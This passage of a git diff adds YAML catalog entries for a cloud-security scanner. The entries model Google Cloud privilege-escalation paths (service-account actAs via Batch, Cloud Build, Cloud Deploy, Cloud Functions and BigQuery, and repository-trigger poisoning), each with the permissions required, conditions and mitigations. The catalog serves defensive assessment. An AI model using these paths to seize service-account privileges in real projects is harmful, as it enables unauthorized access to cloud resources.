b/src/privilege-escalation-paths-cspm-reviewed/gcp/batch.yaml @@ -0,0 +1,40 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Batch privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-batch-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. + +- id: gcp-batch-jobs-create-actas + provider: gcp + service: batch + title: Create a Batch job whose VMs run as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md#submit-arbitrary-code-as-a-more-privileged-job-service-account + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: batch.jobs.create + resource: "*" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + gcp_batch_agent_reporter_on_target: true + scope: same_project + aggregate_as: "Service accounts usable as Batch job SA in {project}" + conditions: + - id: default_sa_needs_actas + description: Omitting the SA uses the Compute Engine default SA, and actAs on it is still required (enforced at submit). + - id: custom_sa_agent_roles + description: The selector checks batch.states.report on the job SA in the job project; roles/logging.logWriter is only needed when logs go to Cloud Logging. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant iam.serviceAccounts.actAs only on dedicated low-privilege Batch SAs and remove roles/editor from the Compute Engine default SA. + references: + - https://cloud.google.com/batch/docs/create-run-job-custom-service-account + notes: Container runnables also reach the metadata server, so container isolation does not prevent the token use. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/bigquery.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/bigquery.yaml new file mode 100644 index 0000000000..49373b3d49 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/bigquery.yaml @@ -0,0 +1,136 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP BigQuery privilege escalation techniques (identity-yielding only; dataset/table/connection data access is excluded). +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-bigquery-privesc.md (rev 171e422). +# attached_to_service: bigquery_spark_connection -> the service identity of an existing BigQuery Spark connection +# ("{target.host_resource}" = that connection); the Google-managed connection SA is not in the project SA inventory. +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. + +- id: gcp-bigquery-transfers-scheduled-query-actas + provider: gcp + service: bigquery + title: Create or update a Data Transfer Service scheduled query bound to a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigquerytransfersupdate--iamserviceaccountsactas--scheduled-sql-as-a-service-account + source_revision: 171e422 + summary: A scheduled query can use a named service account to read a table the caller cannot read and write its results to a dataset the caller can read, when the exact configuration, service agent, and query permissions allow it. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.resource}" + - action: bigquery.datasets.get + resource: "*" + any_of: + - - action: bigquery.transfers.update + resource: "*" + - - action: bigquery.jobs.create + resource: "*" + - action: bigquery.transfers.get + resource: "*" + target: + kind: gcp_verified_authority + selector: + gcp_bounded_service_execution: bigquery_scheduled_query + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + outcome: bounded_authority + aggregate_as: "Service accounts usable as BigQuery scheduled-query SA in {project}" + conditions: + - id: exact_table_gain + description: The service account must be able to read a named table the caller cannot read, create a result table in a same-location destination dataset, and run a BigQuery job in the transfer project. The caller must be able to read that destination. + - id: exact_configuration_path + description: The caller must have a documented creation permission set on the transfer project or update and get on a named existing scheduled-query config for that destination. + - id: dts_agent_token_creator + description: The Data Transfer API must be enabled, and its service agent (service-@gcp-sa-bigquerydatatransfer) must have its service-agent role or getAccessToken on the target service account. + - id: sql_only + description: The SA is used only to run SQL (reads, DML, EXPORT DATA, DCL on datasets the SA administers), not as a general token. + - id: update_needs_actas + description: Changing the query of an existing SA-bound config also needs actAs on its SA; transfers.update alone is not enough. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Grant actAs only on dedicated scheduled-query SAs and avoid broad Token Creator grants to the DTS service agent. + references: + - https://cloud.google.com/bigquery/docs/scheduling-queries + notes: Legacy permission name bigquery.datatransfer.transferConfigs.* is not used by current IAM; roles/editor and roles/owner already contain both permissions. Power is limited to BigQuery (and storage via EXPORT DATA). + +- id: gcp-bigquery-continuous-query-actas + provider: gcp + service: bigquery + title: Run a BigQuery continuous query bound to a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigquery-persistence.md#continuous-query-bound-to-a-service-account--bounded-real-time-exfiltration + source_revision: 4e9b5eaaa6 + summary: The caller can submit a continuous query as an exact service account when an active eligible reservation and compatible source and destination tables support a new bounded BigQuery table read or write. + requires: + all_of: + - action: bigquery.jobs.create + resource: "*" + - action: iam.serviceAccounts.actAs + resource: "{target.resource}" + target: + kind: gcp_verified_authority + selector: + gcp_bounded_service_execution: bigquery_continuous_query + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + outcome: bounded_authority + aggregate_as: "Service accounts usable as BigQuery continuous-query SA in {project}" + conditions: + - id: continuous_reservation + description: The project needs an Enterprise or Enterprise Plus reservation with a CONTINUOUS job-type assignment. + - id: sql_only + description: The SA is used only for supported continuous-query operations (reads of new rows, export to Pub/Sub/Bigtable/Spanner or BigQuery table writes); sources with row/column-level security cannot be read. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: medium + mitigation: Grant actAs only on dedicated continuous-query SAs and restrict CONTINUOUS reservation assignments. + references: + - https://cloud.google.com/bigquery/docs/continuous-queries-introduction + notes: Sibling of gcp-bigquery-transfers-scheduled-query-actas. An exact new table read or write route is conditional; incomplete reservation, permission, or table evidence is unresolved. This is not general service-account impersonation. +- id: gcp-bigquery-spark-procedure-connection-identity + provider: gcp + service: bigquery + title: Create or replace a Spark stored procedure that runs code as an existing Spark connection's service identity + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigqueryroutinescreate--bigqueryconnectionsdelegateuse--code-execution-through-a-spark-connection + source_revision: 6fb9ac51fd + summary: The source can run a Spark procedure as an existing connection identity when it can write and invoke the procedure in a compatible dataset and use that exact connection, and the identity holds an effective permission the source lacks. + requires: + all_of: + - action: bigquery.routines.get + resource: '*' + - action: bigquery.jobs.create + resource: '*' + - any_of: + - - action: bigquery.routines.create + resource: '*' + - - action: bigquery.routines.update + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_bigquery_spark_connection_path: true + scope: any + aggregate_as: Service identities of BigQuery Spark connections the source can delegate + conditions: + - id: privileged_connection_identity + description: Escalation only exists when the existing connection's service identity already holds permissions the source lacks; a newly created connection identity starts without useful grants. + - id: dataset_location + description: The procedure must be created (or an existing one replaced) in a dataset the source can write, in the connection's location. + - id: replace_existing_procedure + description: The routines.update branch replaces an existing Spark procedure's body; the connection delegation check still applies to the replaced definition. + - id: setiampolicy_followup + description: A source with setIamPolicy may grant itself connectionAdmin on the exact connection when its policy and effective organization constraints are complete; conditional restrictions remain unresolved. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict roles/bigquery.connectionAdmin and roles/bigquery.connectionUser on Spark connections, restrict routine create/update on datasets in the connection's location, and keep the connection identity least-privileged. + references: + - https://docs.cloud.google.com/bigquery/docs/spark-procedures + - https://docs.cloud.google.com/bigquery/docs/connect-to-spark + notes: The page documents SQL create (routines.create + connections.delegate + jobs.create), CREATE OR REPLACE / direct routines.update (routines.update), direct Routines API create (no job) and invocation (routines.get + connections.use + jobs.create); jobs.create is always needed for the call. Google does not document a caller-side actAs check for the EXTERNAL SECURITY INVOKER custom service-account variant; that variant is not modelled. The selector also checks a prospective connectionAdmin self-grant through setIamPolicy when the exact policy and effective member constraints are collected. Other connection consumers (EXTERNAL_QUERY, remote functions, BigLake tables) are data access or audience-bound and are excluded. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/bigquery_row_policy.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/bigquery_row_policy.yaml new file mode 100644 index 0000000000..e7ef6c3dea --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/bigquery_row_policy.yaml @@ -0,0 +1,39 @@ +# A row-policy GRANT TO automatically gives the named principal the system-managed +# filteredDataViewer role. Native policy inventory distinguishes a new grant from +# access already held through an existing row policy. +# Canonical policy: peaso/privesc/catalog_policy.yaml +- id: gcp-bigquery-row-policy-create-self-grant + provider: gcp + service: bigquery + title: Self-grant filtered row access by creating a row access policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigqueryrowaccesspoliciescreateupdate--self-grant-filtered-row-access + source_revision: f0f683242a + summary: The source can create a new row access policy with itself in GRANT TO on a table that already has row policies, adding filtered row access it does not currently hold. + requires: + all_of: + - action: bigquery.rowAccessPolicies.create + resource: '{target.policy_resource}' + - action: bigquery.rowAccessPolicies.setIamPolicy + resource: '{target.policy_resource}' + - action: bigquery.tables.getData + resource: '{target.policy_resource}' + - action: bigquery.jobs.create + resource: '{target.scope}' + target: + kind: gcp_verified_authority + selector: + gcp_resource_self_grant: true + scope: same_project + outcome: permission_grant + grants: + - bigquery.rowAccessPolicies.getFilteredData + aggregate_as: Possible row-policy self-grant on an exact table + conditions: + - id: exact_row_policy_self_grant + description: Requires an existing table with row policies, complete policy IAM inventory, no prior filteredDataViewer grant to the source, and the exact permissions to create a policy that grants the source access. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict row access policy creation on sensitive tables and review policy grantees and filters. + notes: A new policy can grant the source filteredDataViewer on this table. Tables without existing row policies already expose all rows to a principal with tables.getData, so they are excluded. Missing policy IAM, group, deny, or organization evidence leaves the path unresolved; the 400-policy table limit blocks a new policy. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/bounded-effects-v5.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/bounded-effects-v5.yaml new file mode 100644 index 0000000000..d07e56cbc9 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/bounded-effects-v5.yaml @@ -0,0 +1,3 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP privilege escalation catalog: no active entries after the principal/permission-path review. +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/bulk-principal-v6.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/bulk-principal-v6.yaml new file mode 100644 index 0000000000..667266877c --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/bulk-principal-v6.yaml @@ -0,0 +1,2 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/challenge-v3.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/challenge-v3.yaml new file mode 100644 index 0000000000..0280e114c8 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/challenge-v3.yaml @@ -0,0 +1,3 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP v3 challenge: every path needs exact reviewed evidence. No general IAM action alone is a finding. +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudbuild.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudbuild.yaml new file mode 100644 index 0000000000..46aeaebbce --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudbuild.yaml @@ -0,0 +1,177 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Cloud Build privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-cloudbuild-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# attached_to_service: cloudbuild_default_identity -> the project's default Cloud Build identity (Compute default SA on newer +# projects or the legacy @cloudbuild.gserviceaccount.com), not an attachment to a collected resource. + +- id: gcp-cloudbuild-builds-create-custom-sa-actas + provider: gcp + service: cloudbuild + title: Submit a build running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md#cloudbuildbuildscreate--execute-build-steps-as-a-build-service-account + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: cloudbuild.builds.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + gcp_cloudbuild_api_enabled: true + scope: same_project + aggregate_as: "Service accounts usable as Cloud Build identity in {project}" + conditions: + - id: cloudbuild_api_enabled + description: Cloud Build API must be enabled in the service account's build project; unavailable service inventory leaves this path unresolved. + - id: logging_option + description: A build with a custom SA must specify a logs bucket or a CLOUD_LOGGING_ONLY/NONE logging option; this does not prevent execution. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Grant actAs only on specific SAs; no predefined Cloud Build role carries actAs, so review roles/editor, roles/owner and roles/iam.serviceAccountUser holders. + references: + - https://cloud.google.com/build/docs/securing-builds/configure-user-specified-service-accounts + - https://docs.cloud.google.com/build/docs/iam-roles-permissions + notes: HackTricks scopes the user-specified SA to SAs inside the build project. This entry also covers the trigger path (HackTricks cloudbuild.triggers.create / cloudbuild.triggers.run section). Google documents that triggers.create, patch, delete and run all require cloudbuild.builds.create; there are no cloudbuild.triggers.* IAM permissions, and the trigger's SA still needs actAs, so the trigger path has exactly this permission set. +- id: gcp-cloudbuild-builds-create-cross-project-actas + provider: gcp + service: cloudbuild + title: Submit a build with a cross-project service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md#cloudbuildbuildscreate--execute-build-steps-as-a-build-service-account + source_revision: 171e422 + summary: The source may run build steps as a service account from another project when its project allows cross-project attachment and the Cloud Build service agent can mint its tokens. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: cloudbuild.builds.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_cross_project_cloudbuild: true + scope: any + aggregate_as: "Service accounts usable by builds in another project" + conditions: + - id: cloudbuild_api_enabled + description: Cloud Build API must be enabled on the exact build project; denied or incomplete service inventory leaves the attachment unresolved. + - id: cross_project_service_agent + description: The build project's Cloud Build service agent needs Service Account Token Creator on the target service account. + - id: cross_project_org_policy + description: The target service account project's effective iam.disableCrossProjectServiceAccountUsage policy must be unenforced. + - id: submission_path + description: Google documents gcloud build submission or trigger creation for this cross-project configuration. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Keep cross-project attachment and service-agent token grants limited to intended build projects and service accounts. + references: + - https://cloud.google.com/build/docs/securing-builds/configure-user-specified-service-accounts + +- id: gcp-cloudbuild-builds-create-default-identity + provider: gcp + service: cloudbuild + title: Submit a build running as the legacy Cloud Build service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md#cloudbuildbuildscreate--execute-build-steps-as-a-build-service-account + source_revision: 6fb9ac51fd + summary: The source can execute build steps as a project's enabled legacy Cloud Build service account without iam.serviceAccounts.actAs on that Google-owned identity. + requires: + all_of: + - action: cloudbuild.builds.create + resource: '*' + target: + kind: gcp_service_account + selector: + attached_to_service: cloudbuild_default_identity + gcp_sa_in_scope_of_permission: true + gcp_cloudbuild_api_enabled: true + target_id_glob: '*@cloudbuild.gserviceaccount.com' + scope: same_project + aggregate_as: Legacy Cloud Build service account of {project}, when enabled + conditions: + - id: cloudbuild_api_enabled + description: Cloud Build API must be enabled in the project reporting this legacy default; unavailable service inventory leaves the path unresolved. + - id: legacy_default_enabled + description: Only projects retaining and enabling the legacy Cloud Build default identity permit builds without caller actAs; current Compute Engine defaults require actAs and are covered by gcp-cloudbuild-builds-create-custom-sa-actas. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Configure builds to use a dedicated least-privilege SA, remove Editor from the Compute default SA and restrict roles/cloudbuild.builds.editor. + references: + - https://cloud.google.com/build/docs/cloud-build-service-account-updates + notes: The target_id_glob excludes Compute Engine default SAs. The Google-owned legacy identity is synthesized only from a collected Cloud Build default-service-account response, so it need not appear in ordinary service-account inventory. +- id: gcp-cloudbuild-repositories-accessreadwritetoken + provider: gcp + service: cloudbuild + title: Obtain a read/write SCM token for a connected repository that feeds build triggers + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md#cloudbuildrepositoriesaccessreadwritetoken--poison-source-consumed-by-a-privileged-trigger + source_revision: 171e422 + summary: The source can obtain the privileges of the service account of build triggers that build from a connected repository on which it holds cloudbuild.repositories.accessReadWriteToken. + requires: + all_of: + - action: cloudbuild.repositories.accessReadWriteToken + resource: '*' + target: + kind: gcp_service_account + include_service_managed: true + selector: + gcp_cloudbuild_writable_trigger_token_path: true + scope: any + aggregate_as: SAs of triggers building from writable connected repositories + conditions: + - id: trigger_on_push + description: A collected enabled push trigger must use the same repository, read an unpinned build config from that repository, and run as the named service account. + - id: branch_protection + description: SCM branch or tag protection can prevent the token from updating a ref matched by the trigger. + blockers: + - gcp_deny_policy + confidence: conditional + severity: medium + mitigation: Restrict cloudbuild.repositories.accessReadWriteToken (roles/cloudbuild.tokenAccessor) and protect trigger branches. + notes: The token itself is a short-lived repo-scoped SCM credential; the GCP identity is only reached through a trigger. A pinned or separate build config, manual approval, a CEL filter, or a cross-project repository or build identity leaves the path unresolved. +- id: gcp-cloudbuild-connections-setiampolicy-token-access + provider: gcp + service: cloudbuild + title: Self-grant repository token access on a Cloud Build connection that feeds build triggers + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md#cloudbuildconnectionssetiampolicy--self-grant-repository-token-access + source_revision: 171e422 + summary: The source can obtain the privileges of the service account of build triggers that build from repositories under a Cloud Build connection whose IAM policy it controls. + requires: + all_of: + - action: cloudbuild.connections.setIamPolicy + resource: '*' + target: + kind: gcp_service_account + include_service_managed: true + selector: + gcp_cloudbuild_writable_trigger_policy_path: true + scope: any + aggregate_as: SAs of triggers building from repositories of connections whose IAM the source controls + conditions: + - id: connection_parent + description: The exact connection and linked repository must be inventoried, and the source must control that connection's IAM policy. The repository must feed an enabled push trigger with a source-controlled build config. + - id: followup_token + description: The source must lack repository write-token access before the grant, then self-grant it, obtain the token, and push a matching ref; SCM protection can still block the push. + - id: allowed_member_domains + description: An effective allowed-member constraint can reject the proposed self-binding; incomplete constraint or connection-policy evidence stays unresolved. + blockers: + - gcp_deny_policy + confidence: conditional + severity: medium + mitigation: Restrict cloudbuild.connections.setIamPolicy (roles/cloudbuild.connectionAdmin) and protect trigger branches. + references: + - https://docs.cloud.google.com/build/docs/iam-roles-permissions + notes: Without a trigger consuming attacker-writable input the impact is SCM repository access only. A pinned or separate build config, manual approval, a CEL filter, an unconfirmed connection or repository, or a cross-project repository or build identity leaves the path unresolved. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/clouddeploy.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/clouddeploy.yaml new file mode 100644 index 0000000000..0bdde88e9b --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/clouddeploy.yaml @@ -0,0 +1,137 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Cloud Deploy privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-cloud-deploy-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# Render-account paths use collected pipelines, targets, and custom target types where an existing resource is required. + +- id: gcp-clouddeploy-pipeline-target-release-actas + provider: gcp + service: clouddeploy + title: Configure a custom target to render as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-deploy-privesc.md#pipelinetarget-configuration--releaserollout-creation--run-an-attacker-task-as-an-execution-service-account + source_revision: 6fb9ac51fd + summary: The source can create or update a custom target and a delivery pipeline, then supply render action source that runs as a service account it can use. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + gcp_clouddeploy_configurable_custom_render_path: true + scope: any + aggregate_as: Service accounts usable in a configurable custom-target render path + conditions: + - id: exact_configuration_path + description: The source must have the required create or update grants on the same project, pipeline, and target route; an existing custom target type must name a controllable render action, or the source must be able to create that type. + - id: execution_sa_roles + description: The selected render service account needs Cloud Deploy job runner and artifact access for the action to run. + - id: source_staging + description: The release needs valid source containing the custom render action. Local-source CLI staging needs Storage permissions, while a direct API request may reference staged source. + - id: cross_project_account + description: A render account in another project additionally needs cross-project organization-policy and service-agent grants; without those facts the path remains unresolved. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on dedicated render accounts, and restrict target and pipeline creation or updates that can select those accounts. + references: + - https://cloud.google.com/deploy/docs/execution-environment + notes: Custom rendering runs during release creation, so rollout permission is not required. PATCH with allowMissing can create a pipeline, target, or custom target type with its update permission. The selector joins the required grants in one project and keeps incomplete inventory or conditioned authority unresolved. +- id: gcp-clouddeploy-release-existing-pipeline + provider: gcp + service: clouddeploy + title: Run custom target render code through an existing delivery pipeline + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-deploy-privesc.md#clouddeployreleasescreate--clouddeployrolloutscreate--iamserviceaccountsactas--deploy-attacker-controlled-artifacts-through-an-existing-pipeline + source_revision: 6fb9ac51fd + summary: The source can provide release source with a custom render action used by an existing pipeline, causing the action to run as the target's render execution service account. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + gcp_clouddeploy_existing_custom_render_path: true + scope: any + aggregate_as: Render SAs of existing custom-target pipelines the source can release to + conditions: + - id: existing_custom_target + description: The collected pipeline must contain the custom target, its type, and the exact RENDER service account selected for the target. + - id: release_source + description: The caller must supply valid source containing a custom render action with the name referenced by the custom target type; local-source CLI staging needs Storage permissions, while the direct API can reference staged source. + - id: runner_access + description: The render account needs Cloud Deploy job runner and artifact access, and a deploy policy must not reject the release. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict release creation on pipelines using privileged custom-target render accounts and grant actAs only where needed. + references: + - https://docs.cloud.google.com/deploy/docs/execution-environment + notes: Custom render runs during release creation, so this route does not require rollout permission. Remote Skaffold modules or an incomplete custom target definition leave control of the render action unresolved. Other deployment and workload-runtime routes need separate execution-account and target checks. +- id: gcp-clouddeploy-resource-setiampolicy + provider: gcp + service: clouddeploy + title: Self-grant release rights on an existing delivery pipeline + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-deploy-privesc.md#cloud-deploy-resource-setiampolicy--self-grant-deployment-permissions + source_revision: 171e422 + summary: The source can grant itself release creation on an existing delivery pipeline, then supply a custom render action that runs as the pipeline target's render service account. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + gcp_clouddeploy_pipeline_policy_custom_render_path: true + scope: any + aggregate_as: Render SAs of custom-target pipelines whose IAM the source controls + conditions: + - id: followup + description: The source must grant itself release creation on the same pipeline, then supply valid source containing the custom render action used by its target; local-source staging may need Storage permissions. + - id: allowed_member_domains + description: iam.allowedPolicyMemberDomains can reject bindings for external principals. + - id: exact_policy_and_new_access + description: The exact pipeline IAM policy must be readable for an additive grant, and the source must not already have release creation on that pipeline; unresolved policy reads or binding restrictions keep the path unknown. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict delivery pipeline setIamPolicy and avoid privileged render service accounts on pipelines whose policy can be changed by less trusted principals. + notes: A direct setIamPolicy request can replace a policy without first reading it, but an additive self-grant depends on preserving existing bindings and conditions. Remote Skaffold modules may also prevent the release source from controlling the custom render action. +- id: gcp-clouddeploy-custom-target-render-actas + provider: gcp + service: clouddeploy + title: Run an updated custom-target render task as the target execution service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-deploy-privesc.md#pipelinetarget-configuration--releaserollout-creation--run-an-attacker-task-as-an-execution-service-account + source_revision: 6fb9ac51fd + summary: The source can update a custom target type used by an existing delivery target so that release rendering runs attacker-controlled task code as its render execution service account. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + gcp_clouddeploy_custom_render_path: true + scope: any + aggregate_as: Render SAs of existing Cloud Deploy pipelines using a custom target type the source can update + conditions: + - id: custom_target_relationship + description: A collected pipeline stage must name the custom target, the target must name the custom target type, and its RENDER configuration must use the selected service account. + - id: exact_write_grants + description: The source must be able to update that exact custom target type and create a release in that exact pipeline. + - id: render_source + description: The release must have valid source available to the render account. Local-source CLI staging needs Storage permissions, but a direct API request may reference previously staged source. + - id: execution_sa_roles + description: The render account must retain its Cloud Deploy job runner and artifact access, and target configuration or policy must not reject the task. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Restrict custom target type updates and release creation; review render task images and commands, and limit actAs on execution accounts. + notes: CustomTargetType.tasks.render executes during release creation, so no clouddeploy.rollouts.create permission is needed for this render-only variant. Missing pipeline, target, or custom target type inventory keeps the relationship unresolved. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudfunctions.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudfunctions.yaml new file mode 100644 index 0000000000..f23e358a2b --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudfunctions.yaml @@ -0,0 +1,153 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Cloud Functions privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-cloudfunctions-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# Deploying/updating a function requires actAs on the runtime SA and on a user-managed or Compute default build SA (Google +# documents Service Account User on both); only the legacy Google-owned builder is exempt. Source upload is +# cloudfunctions.functions.sourceCodeSet on the project/location for GenerateUploadUrl. Triggering the function may need cloudfunctions.functions.invoke (gen1) or run.routes.invoke (gen2). + +- id: gcp-cloudfunctions-create-actas + provider: gcp + service: cloudfunctions + title: Create a Cloud Function running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md#cloudfunctionsfunctionscreate--source-upload--iamserviceaccountsactas--create-a-runtime-token-oracle + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_cloudfunctions_create_path: true + scope: same_project + aggregate_as: "Service accounts usable as Cloud Functions runtime SA in {project}" + conditions: + - id: supported_location + description: The selected region must be returned by the Cloud Functions locations API and have an observed default Cloud Build identity. + - id: build_sa_actas + description: The selector checks actAs on the observed default build SA unless it is the legacy Google-owned builder; a custom build SA is not inferred. + - id: trigger + description: The selector checks project-wide invocation rights; event triggers and other callers remain unresolved. + - id: prepared_storage_source + description: An existing Cloud Storage source may also be deployable but is unresolved without a concrete source object. + - id: cross_project_sa + description: Cross-project SAs only when iam.disableCrossProjectServiceAccountUsage is not enforced; not modelled. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant roles/iam.serviceAccountUser only on specific SAs and restrict roles/cloudfunctions.developer. + references: + - https://cloud.google.com/functions/docs/securing/function-identity + - https://docs.cloud.google.com/functions/docs/reference/rest/v2/projects.locations.functions/generateUploadUrl + +- id: gcp-cloudfunctions-update-sourcecodeset-actas + provider: gcp + service: cloudfunctions + title: Replace an existing function's code or attached service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md#cloudfunctionsfunctionsupdate--source-upload--replace-an-existing-privileged-function + source_revision: 171e422 + summary: The source can obtain the privileges 